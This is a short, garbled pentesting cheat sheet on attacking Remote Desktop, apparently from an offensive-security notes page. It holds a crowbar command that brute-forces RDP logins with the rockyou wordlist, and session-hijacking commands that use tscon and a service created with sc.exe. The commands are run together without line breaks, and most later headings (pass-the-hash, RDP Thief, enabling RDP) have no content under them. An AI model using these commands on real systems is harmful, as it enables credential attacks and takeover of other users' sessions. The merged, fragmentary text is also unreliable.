Pentesting RDP
CROWBAR
sudo apt install crowbarcrowbar -b rdp -s $host/32 -u admin -C /usr/share/wordlist/rockyou.txt -n 1 -v
# -b protocol # -s target server
# -n number of threads (RDP doesnt reliably handle multiple threads)iconv -f ISO-8859-1 -t UTF-8 /usr/share/wordlists/rockyou.txt > rockyou_utf8.txtRDP Session Hijacking
query usertscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#0"
net start sessionhijackSHARP RDP
RDP Thief
Screenshot the Desktop
Enable RDP via Crackmapexec
Enable RDP via Registry
Enable RDP access for user
Remove Remote Desktop Access for user
If PTH is Disabled
RDesktop
RDESKTOP
XFreeRDP
Pass The Hash RDP
PTH RDP From a Windows machine
Nmap
RDP Security Check
Last updated